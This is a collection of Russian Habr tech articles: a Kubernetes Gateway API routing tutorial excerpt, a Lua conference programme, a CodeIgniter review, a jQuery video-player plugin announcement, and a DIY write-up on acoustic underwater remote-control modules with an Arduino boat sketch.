#1: Тот же namespace, что и выше.
#2: Объект **Gateway**.
#3: Ссылка на класс шлюза, обозначенная ранее.
# 4: Разрешите некоторые ограничения на этом уровне, чтобы оператор кластера имел возможность избежать нежелательного использования.
**Предупреждение:** API-шлюз предоставляет возможность *динамического* изменения порта на стороне оператора. На момент написания этой статьи распределение портов Apache APISIX является *статическим*. Очевидно, что динамическим он станет уже в ближайшем будущем - советуем следить за выпусками GitHub, чтобы быть в курсе изменений.
Маршрутизация, маршрутизация и еще раз маршрутизация
----------------------------------------------------
До этого момента речь велась об инфраструктуре, и наконец-то мы добрались до маршрутизации.
Я хочу поработать с тем же маршрутом, что и в предыдущем посте: бранчи `/left` и `right`. Опустим описание последнего для краткости.
```
apiVersion: gateway.networking.k8s.io/v1alpha2 #1
kind: HTTPRoute #2
metadata:
name: left
spec:
parentRefs:
- name: apisix-gateway #3
rules:
- matches: #4
- path: #4
type: PathPrefix #4
value: /left
backendRefs: #5
- name: left #5
port: 80 #5
```
1. То же пространство имен, что и выше.
2. Объект **HTTPRoute**.
3. Ссылка на **Gateway**, созданный выше.
4. Совпадение правил (rules). В нашем случае мы сопоставляем префикс пути, но возможны разные вариации правил. Вы можете сопоставлять их на базе параметра запроса, заголовка и т.д.
5. "Вышестоящий" сервер для переадресации. В предыдущем посте мы как раз давали определение **leftService**.
Проверяем в работе
------------------
Отстроив процессы маршрутизации, самое время проверить как все работает.
```
curl localhost:30800/left
```
Во время установки Helm chart, мы дали команду Apache APISIX создать службу **NodePort** на порту **30800**. Таким образом, мы можем использовать порт для доступа к сервису за пределами кластера.
```
left
```
Подведем итоги
--------------
Существует множество вариантов для доступа к модулю извне кластера. CNCF осветили большую часть актуальных на данный момент альтернатив.
API-шлюз - это новинка в индустрии. Спецификация все еще находится на стадии разработки, а продукты - на разных этапах внедрения. По этой причине еще слишком рано переносить все свое производство на API. Тем не менее, мы настоятельно рекомендуем следить за процессами обновления и модернизации, ибо мы убедились в списке очевидных преимуществ по сравнению с предыдущими подходами.
Полный исходный код этого поста можно найти на [GitHub](https://github.com/ajavageek/k8s-access).
P.S.: Кстати, подписывайтесь на наш телеграм-канал [**DevOps FM**](https://t.me/devops_fm), кроме переводов мы публикуем там много авторских статей и новостей по теме DevOps: добро пожаловать к нам в комьюнити) | https://habr.com/ru/post/690934/ | null | ru | null |
# Программа конференции Lua in Moscow 2019
Как мы сообщали в [предыдущем анонсе](https://habr.com/ru/company/mailru/blog/437492/), 3 марта (воскресенье) в офисе Mail.ru Group пройдёт третья международная конференция Lua in Moscow 2019.
Конференция будет проходить в 2 потока: доклады и семинары.
> Все доклады и семинары будут на английском языке без синхронного перевода.
Доклады (переговорная #1)
-------------------------
 **10:30 Начало регистрации**
 **11:00 — 11:45 «Why (and why not) Lua / Почему именно Lua (а почему нет)», Роберто Иерусалимский, PUC-Rio**
> При создании языка программирования противоречия в требованиях часто толкают авторов на компромиссные решения. Это обычное явление в мире разработки. В разных языках к компромиссу приходят по-разному, что и делает каждый язык более подходящим для одних сценариев и менее привлекательным для других.
>
>
>
> Для языка Lua есть свой набор целей, определяющий направление проектирования. Приоритет здесь отдается встраиваемости, малому размеру, простоте и портируемости. Есть и другие цели, такие как производительность и простота использования непрофессиональными программистами.
>
>
>
> В рамках доклада мы обсудим влияние этого набора целей. Мы увидим, как эти цели влияют на сам язык, на его использование, а также на возможность его применения в различных областях.
 **12:00 — 12:45 «resty-threadpool: reinventing Apache in nginx / resty-threadpool: новое прочтение Apache в nginx», Julien Desgats, CloudFlare**
> Асинхронные циклы событий — это проверенный способ масштабирования сетевых серверов. nginx (как и другие успешные продукты) в своей основе использует именно эту методику. Однако её производительность зависит от ключевого условия: бизнес-логика не должна отрабатываться слишком долго, иначе общая производительность быстро падает.
>
>
>
> В [Cloudflare](https://www.cloudflare.com/) в значительной степени полагаются на [OpenResty](https://openresty.org/en/) (nginx + Lua + библиотеки) во всём, что касается пограничных серверов. При этом предсказуемая производительность имеет решающее значение. Для этого требуется выносить некоторые сложные части обработки из цикла обработки событий. Как правило, раньше это делалось путем написания микросервисов. В Cloudflare попробовали иной подход: использовать [функцию пула потоков nginx](https://www.nginx.com/blog/thread-pools-boost-performance-9x/). В докладе будет подробно рассказано о проблемах и результатах извлечения основных функций безопасности из цикла событий.
 **13:00 — 14:00 Обед**
 **14:00 — 14:45 «Tarantool team’s experience with Lua developer tools / Опыт работы команды Tarantool'а со средствами разработки на языке Lua», Ярослав Дынников, Mail.ru Group**
> У каждого языка программирования есть своя собственная экосистема, важная для благополучия сообщества. Разработка приложений — это не только написание кода, но и его тестирование, оптимизация и обмен информацией с другими людьми. В проекте Tarantool есть много разработчиков, которые каждый день работают с Lua.
>
>
>
> В ходе доклада мы обсудим различные аспекты развития Lua в команде Tarantool:
>
>
>
> * Как разработчикам удобно писать код с линтингом?
> * Какие инструменты они используют для отладки и тестирования?
> * Как успешно готовят документацию и собирают пакеты?
> * И, что не менее важно, каких функций им пока не хватает?
>
 **15:00 — 15:45 «Shaders and Lua / Шейдеры и Lua», Сергей Лерг, Spiral Code Studio**
> Невозможно писать шейдеры на Lua, но можно управлять ими с помощью этого языка. Цель доклада — продемонстрировать, как можно с легкостью создать потрясающие эффекты с помощью GLSL и Lua. Кроме того, будут даны полезные советы и рекомендации по работе с шейдерами на игровом движке Defold.
 **15:45 — 16:15 Кофе-брейк**
 **16:15 — 17:00 «Intro to dynasm from luajit / Введение в dynasm из luajit», Михаил Филоненко, Mail.ru Group**
> Dynasm — это генератор машинного кода для нескольких архитектур (x86, x86\_64 и т.д.).
>
> Он состоит из двух частей:
>
>
>
> * генератор машинного кода, написанный на C
> * и препроцессор ассемблера на Lua.
>
>
>
> Оригинальный препроцессор работает только с исходниками на ассемблере или С.
>
> Кроме того, есть форк от luapower, который может предварительно обрабатывать файлы Lua с помощью генераторов ассемблер-кода.
>
>
>
> В некоторых случаях необходимо использовать логику из пользовательского ввода. Мы рассмотрим этот набор инструментов и создадим простой компилятор s-выражений.
>
> Основной вопрос: «Насколько удобно создавать компилятор для пользовательского ввода».
 **17:15 — 18:00 «Challenges of ‘pairs’ and ‘next’ JIT compilation / Проблемы компиляции ‘pairs’ и ‘next’ в JIT», Максим Большов, IPONWEB**
> В IPONWEB используется собственная реализация Lua. Проект ответвили из LuaJIT 2.0 со всеми ограничениями. В частности, функции `pairs` и `next` не поддерживались компилятором JIT. Тем не менее, в нашей кодовой базе на Lua это входит в топ-3 причин прерывания компиляции трассировки, что приводит к вынужденным компромиссам между стилем кода и производительностью приложения.
>
>
>
> В докладе планируется:
>
>
>
> * рассказать, что значит вызвать библиотечную функцию `JITable`;
> * объяснить специфику реализации `pairs` и `next` в LuaJIT;
> * рассказать об ограничениях JIT, которые делают компиляцию `pairs` и `next` нетривиальной задачей;
> * продемонстрировать ход решения этой задачи.
>
 **18:15 — 19:00 «Garbage collection in Lua / Сборка мусора в Lua», Роберто Иерусалимский, PUC-Rio**
> Бонусный доклад от Роберто.
 **19:15 — 20:00 Круглый стол со всеми докладчиками**
Семинары (кинозал)
------------------
 **14:00 — 15:45 «Tarantool use cases for rich applications / Варианты использования Tarantool'а для многофункциональных приложений», Владимир Перепелица, Mail.ru Group**
> На первый взгляд, Tarantool — это база данных. И довольно сложно увидеть весь потенциал этого продукта в качестве сервера приложений.
>
>
>
> Семинар призван раскрыть эту часть возможностей Tarantool'а: как использовать встроенный сервер LuaJIT с сокетами, файберами, каналами, ffi и т.д.? Как сделать так, чтобы код можно было перезагружать на лету? Эти темы будут рассматриваться шаг за шагом на примере построения сервера очередей.
 **16:15 — 18:15 «Making a simple platformer with Defold / Создание простого платформера на Defold», Сергей Лерг, Spiral Code Studio**
> Платформеры — это очень популярный игровой жанр. Одни из них простые, другие довольно сложные. В рамках семинара я покажу, как создать базовый платформер на игровом движке Defold. Авторы большинства обучающих материалов по этой теме склонны всё упрощать и показывают создание уровней вручную, в то время как их можно генерировать автоматически, а также используют физический движок, когда это совершенно не нужно.
Вход бесплатный.
[Регистрация](https://corp.mail.ru/ru/press/events/546/) обязательна.
Адрес: офис Mail.ru Group, Ленинградский пр., 39, стр. 79.
Ждём вас на Lua in Moscow 2019! | https://habr.com/ru/post/441364/ | null | ru | null |
# Обзор фреймворка CodeIgniter
Здравствуй всеми уважаемый хабрахабр. В этой статье речь пойдёт о замечательном PHP фреймворке CodeIgniter (сокращённо CI). CodeIgniter — популярный PHP фреймворк с открытым исходным кодом, позволяющий создавать многофункциональные и безопасные веб-приложения с MVC архитектурой. Разработан компанией EllisLab.
Зачем делать всё с нуля и каждый раз переписывать по 1000 строк кода? Зачем тратить много времени на понятие собственного кода? Вам повезло если в вашем проекте мало строк кода и он хорошо документирован, но если у вас более 1000 файлов и в придачу код безобразно раскидан, то маленькое исправление может занять кучу времени. Выход есть! Рано или поздно вам придётся использовать фреймворк.
#### Так что же такое фреймворк
> **Фреймворк** (каркас, структура) — программное обеспечение, облегчающее разработку и объединение разных компонентов большого программного проекта. В отличие от библиотек, которые объединяют набор подпрограмм близкой функциональности, фреймворк содержит в себе большое количество разных по назначению библиотек.
#### Личный опыт
Когда я начинал разрабатывать приложения на чистом PHP, то я тратил очень много времени, долго искал баг, переписывал много строчек кода. Позже я стал использовать функции, но и это тоже не спасало. Я очень долго гуглил и нашёл идеальное решение — использование фреймворков В данный момент я использую CodeIgniter, о котором я сейчас расскажу.
#### **Почему именно CodeIgniter**
CodeIgniter — это фреймворк написанный на PHP. Первый публичный релиз CI состоялся в 2006 году (7 лет назад). Он быстро набирал популярность благодаря своей простоте, и быстроте. На данный момент актуальная версия **2.1.3.**CodeIgniter использует MVC архитектуру, что позволяет всё разложить по полочкам. Ниже вы можете увидеть процесс работы CI. Имеет поддержу библиотек, хелперов, хуков. Также имеется встроенная система кэширования.
#### И так о плюсах CodeIgniter
##### Отличная и понятная документация
Действительно у CodeIgniter очень богатая и понятная документация, и её приятно читать. Всё пояснено примерами кода, который можно просто скопировать и использовать у себя. Также документация уже давно переведена на русский язык, так что вам не составит большого труда, чтобы изучить CodeIgniter.
##### Не требует большое количество ресурсов
CodeIgniter может работать почти на всех хостингах с поддержкой PHP не ниже 5.1 версии. Благодаря своей грамотной структуре CI не нагружает систему и очень шустро работает. Сейчас я не буду сравнить скорость работы с другими фреймворками, так как холивары ни к чему.
##### Очень прост в использовании
Разработка приложений на CodeIgniter имеет другой стиль, чем просто писать на чистом PHP. Вам покажется, что надо надо многое учить, чтобы разрабатывать на фреймворке, но я обрадую вас, CI очень легко и быстро учится. На CodeIgniter можно разрабатывать лёгкие и средние приложения, но для более сложных проектов лучше выбрать другой фреймворк.
##### Скорость генерации страниц.
CodeIgniter очень быстр в работе. И это действительно так, а если вы не верите, то можете проверить сами.
##### Поддержка большого количества баз данных
При помощи своих встроенных драйверов CodeIgniter может работать с разными базами данных, таким как: MySQL, PostgreSQL, MSSQL, SQLite, Oracle. Также имеется PDO драйвер, что крайне удобно. В CI реализован шаблон проектирования ActiveRecord для работы с базами данных.
##### Большое количество стандартных библиотек и классов
Чтобы вы не захотели бы сделать, CodeIgniter найдёт решение на большинство ваших идей. Перечислять все библиотеки, хелперы и классы я не буду, так как их очень много. Но перечислю которыми пользуюсь я: pagination, captcha\_helper, form validation, xmlrpc, email, url\_helper, security\_helper.
##### Множество ресурсов по CI.
В интернете существует огромное количество сайтов, посвящённых CodeIgniter. Так что найти библиотеки сторонних разработчиков или найти ответ на свой вопрос по CI не составит большого труда. Ниже в статье будут ссылки на различные ресурсы.
#### Минусы CI
##### Слабая система кэширования
Система кэширования в CodeIgniter работает лишь с целыми страницами, но с частями страницы, и это не очень удобно. А это значит, что вам придётся писать свою систему кэширования или прикручивать уже готовые варианты. Хотя при такой скорости, кэширование и не нужно.
##### Плохой стиль написания
CodeIgniter позволяет полностью отказаться от модели, что не есть хорошо. CI приучает с расхлябанному стилю программирования. Также не очень развито наследование классов, местами использует процедурный код.
##### Нету паттерна Registry
Из-за отсутствия паттерна Registry приходится писать довольно глупую вещь "$CI = &getInstance();" для доступа библиотек к ядру фреймворка.
#### Примеры кода
Чтобы вставить код в базу данных потребуется всего несколько строк
```
$insert = array(
'title' => 'Обзор CodeIgniter' ,
'author' => 'Mister Yio' ,
'text' => 'BlaBlaBla'
);//Массив с элементами для записи
/*Это запись равносильна INSERT INTO posts (title, author, text)
VALUES ('Обзор CodeIgniter', 'Mister Yio', 'BlaBlaBla');*/
$this->db->insert('post', $insert);
return $this-db->insert_id();//Возвращает id последней добавленной записи
```
Также легко получить данные и передать их виду
```
public function getSingl($name){
$this->db->where('name', $name);//Генерирует WHERE name="$name"
$this->db->select('title, author, text');//Генерирует SELECT title,author,text
$query = $this->db->get('posts');//Посылает запрос к базе данных
foreach($query->result_array() as $row){
$data[] = $row;
}
$this->load->view('blog',$data);//Вызываем вид и передаем массив с полученными элементами элементами
}
```
Ниже приведёна стандартная модель для работы с базой данных
```
php
class Model_posts extends CI_Model{
/**
* Select all post on database.
* @return array
*/
public function getAll(){
$query = $this-db->get('posts');//генерирует запрос SELECT * FROM posts
if($query->num_rows() > 0){
return $query->result_array();//Возвращаем массив с полученными данными
}
}
/**
* Select singl post on database
* @param integer $id
* @return array
*/
public function getOne($id){
if(!is_integer($id))//Если передано не число то возвращаем предупреждение
return 'Передан неверный идентификатор записи';
$this->db->where("id",$id);
$query = $this->db->get('posts');//Генерирует SELECT * FROM posts WHERE id="$id"
if($query->num_rows() > 0){
$data = $query->result_array();
return $data;//Возвращаем массив с полученными данными
}else{
show_404();//Если записей не найдено показываем ошибку 404
}
}
/**
* Insert post on database
* @param array $data
* @return interger insert_id
*/
public function add(array $data){
$query = $this->db->insert('posts', $data);
return $this->db->insert_id();//Возвращаем id последний добавленной записи
}
/**
* Delete post on database
* @param integer $id
* @return integer
*/
public function delete($id){
if(!is_integer($id))
return 'Передан неверный идентификатор записи';
$this->db->where('id',$id);
$this->db->delete('posts');
return "Запись $id была удалена";
}
}
?>
```
#### Проекты основанные на CodeIgniter
На CodeIgniter основано большое количество cms и скриптов. Самые известные: MaxSite CMS, ImageCMS, CI-CMS, Blaze. (Когда-нибудь этот список пополнится мной) | https://habr.com/ru/post/168015/ | null | ru | null |
# jQuery Video Extend — расширение возможностей HTML5 видео плеера
Часто вижу, что владельцы сайтов и разработчики используют видео-плееры вроде [VideoJS](http://www.videojs.com/), [Flowplayer](http://flowplayer.org/), [Uppod](http://uppod.ru/) и т.д., но очень редко вижу стандартные HTML5 плееры на сайтах. Мне это кажется странным, ведь обычные плееры в браузерах тоже выглядят очень симпатично. Что есть у стандартного «браузерного» видео плеера:
1. Стильный дизайн. Зависит от браузера, но везде на хорошем уровне.
2. Поддержка самого популярного формата — Mpeg4 (H.264) (Chrome, Firefox, IE, Safari, Opera).
3. Очень удобное API — <http://www.w3.org/2010/05/video/mediaevents.html>
4. Быстрая работа и поддержка мобильных устройств.
Почему же такие плееры не популярны? Вот список возможных причин:
1. Нет простого способа добавить свой логотип.
2. Нет поддержки FLV видео, которое часто ещё встречается.
3. Нет возможности ставить метки на видео и создавать свои расширения.
4. Нет возможности менять внешний вид и стиль плеера.
С последним пунктом сложнее всего, но довольно редко эта возможность используется и на плеерах, о которых я писал в начале. Чаще используется первая стандартная тема оформления. Первые три пункта я решил восполнить, написав jQuery плагин, так появился [Video Extend](https://github.com/andchir/jquery-video-extend).
Подключение jQuery и плагина:
```
```
Плеер с логотипом и маркерами:
```
$(document).bind('ready',function(){
$('#video1').videoExtend({
logo: 'img/example\_logo.png',// картинка логотипа
logoLink: 'http://example.com/',// ссылка с логотипа
logoSize: [ 60, 40 ],// размеры логотипа - ширина и высота
markers: [
{
time: 39,// секунды
text: 'Chapter 1'
},
{
time: 350,
text: 'Chapter 2'
},
{
time: 470,
text: 'Chapter 3'
},
{
time: 677,
text: 'Chapter 4'
}
]
});
});
```
Другой способ:
```
$(document).bind('ready',function(){
$('video').videoExtend();
});
```
Параметры можно задавать через атрибуты с префиксом «data-».
Проигрывание видео с YouTube:
```
$(document).bind('ready',function(){
$('#video2').videoExtend({
logo: 'img/example\_logo.png',
logoLink: 'http://example.com/',
logoSize: [ 60, 40 ],
logoPosition: [ 'auto', 10, 50, 'auto' ] // положение логотипа - сверху, справа, снизу, слева
});
});
```
Проигрывание FLV видео (только базовая поддержка):
```
$(document).bind('ready',function(){
$('video.video-extend').videoExtend({
logo: 'img/example\_logo.png',
logoLink: 'http://example.com/',
logoSize: [ 60, 40 ],
swfPath: 'swf/video-js.swf',
textPlay: 'Play movie'
});
});
```
SWF, который воспроизводит FLV видео, взят у **VideoJS**.
Пример использования [API](http://www.w3.org/2010/05/video/mediaevents.html):
```
$('#video1').get(0).play();// воспроизвести
```
Буду рад, если кому-то пригодится.
[Демо](http://andchir.github.io/jquery-video-extend/) | [Краткая документация](https://github.com/andchir/jquery-video-extend/wiki) | [Исходный код](https://github.com/andchir/jquery-video-extend) | https://habr.com/ru/post/264719/ | null | ru | null |
# НЕрадиоуправляемые модели: вперед к беспроводным подлодкам на пульте
> *“Мы можем исключительно много, но до сих пор мы так и не поняли, что из того, что мы можем, нам действительно нужно” (С) АБС, “Улитка на склоне”*
>
>
**Приветствую вас, глубокоуважаемые!**
Мы тут опять решили проблему, о существовании которой вы скорее всего и не подозревали: сделали хоббийные модули для передачи и приема **4** управляющих команд через воду на дальность (и глубину) до **300** метров.
Видео испытаний лодки на акустическом управлении и подрыва фейерверка по акустическому сигналу через воду, а также зачем, почему и как - под катом.
> У нас идея фикс: *нести гидроакустику из узкого круга ограниченных людей в широкие массы.*
>
>
Пока мы с коллегами проходили очередную итерацию реализации этой идеи, разрабатывали максимально простое, дешевое и в то же время рабочее решение, меня не покидали мысли: *как я вообще ввязался в это?*
Рефлексивное вступление
-----------------------
Я все детство мечтал о машинке на радиоуправлении, пока, наконец не наигрался вдоволь с подарком для своего, тогда еще трехлетнего, сына. Пока он ее не сломал.
Точь-в-точь, как и я в таком же возрасте: разобрал и не смог больше собрать *проводную* подводную лодку - [вот такую](http://bosonogoe.ru/blog/igrushki/2232.html). Я точно не помню в чем было дело, но кажется, я хотел сделать ее *беспроводной*.
Да что я такое говорю? Будущее настало и дроны, бороздя воздух, во всю развозят посылки! А как только мы лезем под воду - сразу начинаются толстенные провода, чемоданы и колючий ценник на проводную камеру с моторчиками. Кажется сейчас это называют подводным роботом.
Нет, нет, я вовсе не хочу сказать, что мы начали что-то там разрабатывать из-за чьих-то личных детских переживаний - это было бы слишком романтично.
К нам часто обращаются люди из разных мест планеты: кто-то делает модели кораблей и подводных лодок, кто-то что-то рыболовное, кто-то спрашивает, но не говорит, зачем ему это нужно. Так или иначе, мы решили разработать что-то уж совсем простое.
От идеи до реализации
---------------------
Как это обычно бывает, сначала речь шла просто о дистанционном “*включателе*”.
Это должны были быть два простых устройства: приемник и передатчик. Разделенные сотней - другой метров воды, приемник и передатчик должны быть связаны почти как квантово запутанные частицы: нажатая на передатчике кнопка должна была менять состояние цифрового выхода на приемнике.
Согласно этой идее придумали и название: **uSwitch**. Это вроде как и “**you switch**” и “**underwater switch**”.
Техническая концепция состояла в том, чтобы передавать короткий (пару-тройку миллисекунд) тональный сигнал.
> *Передавать - в акустике - это меньшее из зол. Передать можно почти что угодно, гораздо сложнее - принять.*
>
>
По прикидкам, любимый 8-битный малютка моего коллеги, 25 МГц [C8051F300](https://www.silabs.com/documents/public/data-sheets/C8051F30x.pdf), вполне справлялся с детектированием какого-нибудь одного тона, с частотой в удобной для нас полосе 20-30 кГц.
Очень быстро выяснилось, что просто “*включатель*” - штука, имеющая крайне ограниченное применение. Чтобы делать что-то осмысленное, нужно больше различных команд, да и у контроллера оставались лишние ноги!
Попробовали несколько простых способов кодирования сообщения при помощи разных тонов, но в итоге пришли к очень простой схеме, которая к тому же обеспечивала практически одинаковую достоверность для всех кодов:
> *Сначала передаем стартовый тон на одной частоте, а на другой частоте, через задержку связанную с номером кода, передаем стоповый тон.*
>
>
Контроллер всегда ищет стартовый тон, и, как только детектирует его, запускает счетчик и ждет стоповый тон. Время между приходом стартового и стопового сигналов определяет принятый код. Вот так просто!
Ограниченное количеством оставшихся свободных у контроллера ног, число кодов в первой версии платы стало равным **четырем**.
Вот так выглядят платы приемника и передатчика. Они имеют одинаковые посадочные размеры и одинаковое положение разъемов и контактных площадок.
Модуль передатчика uSwitch TXМодуль приемника uSwitch RXНа обоих платах есть пины **STROBE**, **BIT 0** и **BIT 1**. На передатчике - это цифровые входы, а на приемнике - цифровые выходы с открытым коллектором.
По умолчанию все везде притянуто к единице. Активное состояние - **Low**.
Чтобы передать один из четырех кодов:
* выставляем пины **BIT 0** и **BIT 1** в нужное нам состояние
* вешаем пин **STROBE** на землю
Такой способ позволяет подключить к передатчику простую кнопку и пару тумблеров, обходясь даже без Ардуино. Например, вот так:
Импровизированный стенд передатчикаНа приемнике все также, только наоборот: когда пин **STROBE** перейдет в состояние цифрового нуля, нужно считать состояние пинов **BIT 0** и **BIT1**. Тут тоже можно не подключать никакую Ардуину и обойтись релюшками и светодиодами, если есть такая необходимость.
Модули питаются в диапазоне от 5 до 15V, потребляют по 20 мА в приеме/ожидании и 500 мА при излучении.
Стремясь сделать все как можно проще и дешевле, мы исключили самую сложную часть в любом гидроакустическом передающем тракте - *трансформатор*.
Внимательный читатель сразу скажет: да что ты мне рассказываешь? Вон же трансформатор на плате!
Скажет - и станет жертвой картинки, ибо на плате вовсе *не трансформатор*, а простой *дроссель*.
#### Давайте я немного поясню
Трансформатор подразумевает как минимум две обмотки: первичную и вторичную, число витков в которых должно строго соответствовать расчетному, не говоря даже о том, что важно соблюдать их полярность.
Трансформатор это более сложное моточное изделие, чем дроссель, от которого требуется только заданная индуктивность. Дроссель - значительно более технологичная штука, особенно если мотаешь вручную.
Дело в том, что для излучения звуковых волн в воде применяются пьезокерамические элементы. Давление, развиваемое пьезокерамической антенной напрямую зависит от подводимого напряжения (обратный пьезоэффект, черт возьми!). Хочешь громче и дальше - подавай больше вольт!
Трансформатор мы заменяем гораздо более простым дросселем и вот как это работает в общих чертах:
К объяснению того, как дроссель заменяет трансформатор в усилителеЕсли на ключ (в нашем случае MOSFET с напряжением сток-исток не менее 200 Вольт) подать высокий уровень, но он замкнется на землю. Через индуктивность начнет нарастать ток. Нарастать он будет до момента закрытия ключа. Режим насыщения индуктивности мы исключаем подбором ширины импульса. Из школьной физики мы помним, что энергия запасенная в индуктивности равна . После закрытия ключа индуктивность начинает передавать энергию в антенну. Поскольку антенна по сути конденсатор, энергия в котором определяется как , то получаем 2-3 кратное повышение напряжения. Если перед антенной поставить диод, то получилась бы типовая схема повышающего DC-DC преобразователя.
И да, кстати, частоту сигнала регулируем периодом **T**.
Надеюсь, я не сильно утомил читателя деталями. Честное слово: дальше веселые картинки и видео.
Первые испытания
----------------
Первые испытания мы проводили еще на льду [Волго-Донского канала](https://goo.gl/maps/rmktnCWcauE4HbcZ6) в январе этого (2021) года.
В первой фазе баловались дистанционным включением светодиода. Чтобы просто попробовать как далеко оно работает. Питали все от свинцовых АКБ на 4 А\*ч. Светодиод мощный, и включался при помощи реле.
Мы специально приехали на водоем еще затемно, чтобы моргание светодиода и особенно "вторую фазу" эксперимента было лучше видно. Наивные, мы не знали еще тогда что забыли самый главный инструмент зимних испытаний - *ледобур*. В итоге двое оставшихся знатно подмерзли, а двое поехавших за ледобуром накатали еще 80 км туда - обратно. До рассвета мы не успели, но очень пасмурная погода кое-как спасла ситуацию.
Конечно же, это была программа-минимум. Поигравшись с дистанционным включением светодиода на дальностях до 200 метров мы начали готовиться ко второй фазе испытаний.
Во второй фазе предполагалось дистанционно поджечь фейерверк. Все, что могло пойти "не так" - пошло "не так". Все, кроме акустики: с ней никаких проблем не возникло.
Они возникли с реле - оно сгорело, с самодельными запалами из лампочки, спичек и пороха от петард - они то сгорали слишком слабо, не успев поджечь фитиль, то почти взрывались и тоже не воспламеняли фитиль.
В итоге на последнем или предпоследнем запале, в который был добавлен порох от случайно найденного строительного патрона все это сработало.
Вид с "пункта управления":
Репортаж непосредственно с места "события":
Успех предприятия закрепили кофе на льду:
НЕрадиоуправляемая лодка
------------------------
Далее следовало как-то наглядно продемонстрировать работу системы в сценариях и условиях, максимально приближенных к предполагаемым условиям эксплуатации.
Нам показалось разумным сделать надводную лодку на дистанционном акустическом управлении:
1. Во-первых, в отличие от автономного подводного аппарата (которого все равно нет в наличии) ее видно
2. Во-вторых, все доступные нам водоемы все равно мутные, поэтому см. п. 1.
В качестве исходного материала взяли приманочную лодку (Bait boat), из которой удалили все внутренности, кроме двигателей:
A - АкустическийАрдуина здесь исключительно для перевода принятого от uSwitch RX кода в сигнал управления двигателями. Родной АКБ тоже пришлось заменить - он подозрительно вспух. Поставили 4 аккумулятора 18650 в параллель. На всякий случай под спойлером нехитрый скетч:
Boat brain sketch
```
#define CMD_DURATION_MS (3000)
#define USW_ACTIVE_STATE (LOW)
#define USW_INACTIVE_STATE (HIGH)
#define USW_INTERRUPT_EDGE (FALLING)
#define USW_STROBE_PIN (2)
#define USW_BIT0_PIN (3)
#define USW_BIT1_PIN (4)
#define MOTOR_ACTIVE_STATE (HIGH)
#define MOTOR_INACTIVE_STATE (LOW)
#define MOTOR_LEFT_PIN (5)
#define MOTOR_RIGHT_PIN (6)
#define LED_ACTIVE_STATE (LOW)
#define LED_INACTIVE_STATE (HIGH)
#define LED_LEFT_PIN (7)
#define LED_RIGHT_PIN (8)
#define CMD_STOP (0)
#define CMD_TURN_RIGHT (1)
#define CMD_TURN_LEFT (2)
#define CMD_FULL_SPEED_AHEAD (3)
byte usw_code = 0;
volatile bool usw_strobe = false;
byte cmd = CMD_STOP;
long cmd_tstamp = 0;
bool cmd_active = false;
long ticks = 0;
byte usw_ReadCode()
{
byte result = 0;
result = digitalRead(USW_BIT0_PIN);
result = result << 1;
result |= digitalRead(USW_BIT1_PIN);
return result;
}
void usw_OnStrobe()
{
if (!usw_strobe)
{
usw_strobe = true;
}
}
void cmd_Run(byte new_cmd)
{
if ((cmd_active) && (cmd == new_cmd))
{
cmd_tstamp = millis();
}
else
{
byte left_motor_state = MOTOR_INACTIVE_STATE;
byte right_motor_state = MOTOR_INACTIVE_STATE;
byte left_led_state = LED_INACTIVE_STATE;
byte right_led_state = LED_INACTIVE_STATE;
if (new_cmd == CMD_STOP)
{
left_motor_state = MOTOR_INACTIVE_STATE;
right_motor_state = MOTOR_INACTIVE_STATE;
left_led_state = LED_INACTIVE_STATE;
right_led_state = LED_INACTIVE_STATE;
}
else if (new_cmd == CMD_TURN_LEFT)
{
left_motor_state = MOTOR_INACTIVE_STATE;
right_motor_state = MOTOR_ACTIVE_STATE;
left_led_state = LED_ACTIVE_STATE;
right_led_state = LED_INACTIVE_STATE;
}
else if (new_cmd == CMD_TURN_RIGHT)
{
left_motor_state = MOTOR_ACTIVE_STATE;
right_motor_state = MOTOR_INACTIVE_STATE;
left_led_state = LED_INACTIVE_STATE;
right_led_state = LED_ACTIVE_STATE;
}
else if (new_cmd == CMD_FULL_SPEED_AHEAD)
{
left_motor_state = MOTOR_ACTIVE_STATE;
right_motor_state = MOTOR_ACTIVE_STATE;
left_led_state = LED_ACTIVE_STATE;
right_led_state = LED_ACTIVE_STATE;
}
else
{
// ???
}
digitalWrite(MOTOR_LEFT_PIN, left_motor_state);
digitalWrite(MOTOR_RIGHT_PIN, right_motor_state);
digitalWrite(LED_LEFT_PIN, left_led_state);
digitalWrite(LED_RIGHT_PIN, right_led_state);
cmd_tstamp = millis();
cmd_active = true;
cmd = new_cmd;
}
}
void cmd_Idle()
{
digitalWrite(MOTOR_LEFT_PIN, MOTOR_INACTIVE_STATE);
digitalWrite(MOTOR_RIGHT_PIN, MOTOR_INACTIVE_STATE);
digitalWrite(LED_LEFT_PIN, LED_INACTIVE_STATE);
digitalWrite(LED_RIGHT_PIN, LED_INACTIVE_STATE);
cmd_active = false;
}
void setup()
{
pinMode(USW_STROBE_PIN, INPUT_PULLUP);
attachInterrupt(digitalPinToInterrupt(USW_STROBE_PIN), usw_OnStrobe, USW_INTERRUPT_EDGE);
pinMode(USW_BIT0_PIN, INPUT_PULLUP);
pinMode(USW_BIT1_PIN, INPUT_PULLUP);
pinMode(MOTOR_LEFT_PIN, OUTPUT);
pinMode(MOTOR_RIGHT_PIN, OUTPUT);
digitalWrite(MOTOR_LEFT_PIN, MOTOR_INACTIVE_STATE);
digitalWrite(MOTOR_RIGHT_PIN, MOTOR_INACTIVE_STATE);
pinMode(LED_LEFT_PIN, OUTPUT);
pinMode(LED_RIGHT_PIN, OUTPUT);
digitalWrite(LED_LEFT_PIN, LED_INACTIVE_STATE);
digitalWrite(LED_RIGHT_PIN, LED_INACTIVE_STATE);
int delay_duration_ms = 500;
while (delay_duration_ms > 0)
{
digitalWrite(LED_LEFT_PIN, LED_ACTIVE_STATE);
digitalWrite(LED_RIGHT_PIN, LED_ACTIVE_STATE);
delay(delay_duration_ms);
digitalWrite(LED_LEFT_PIN, LED_INACTIVE_STATE);
digitalWrite(LED_RIGHT_PIN, LED_INACTIVE_STATE);
delay(delay_duration_ms);
delay_duration_ms -= 25;
}
}
void loop()
{
if (usw_strobe)
{
usw_code = usw_ReadCode();
cmd_Run(usw_code);
usw_strobe = false;
}
if (cmd_active)
{
ticks = millis();
if (ticks - cmd_tstamp > CMD_DURATION_MS)
{
cmd_Idle();
cmd_active = false;
}
}
}
```
В качестве приемной антенны использована антенна из [пьезопищалки](https://diy.unavlab.com/projects/disk_hydrophone/README_RU.html):
Пульт управления лодкой собрали наспех в первой попавшейся коробочке:
Значки нарисованы маркером =)И наконец-то мы нашли применение этим ужасным кнопкам, которые уже никто из нас даже не помнит, зачем покупались. Вот так пульт выглядит изнутри:
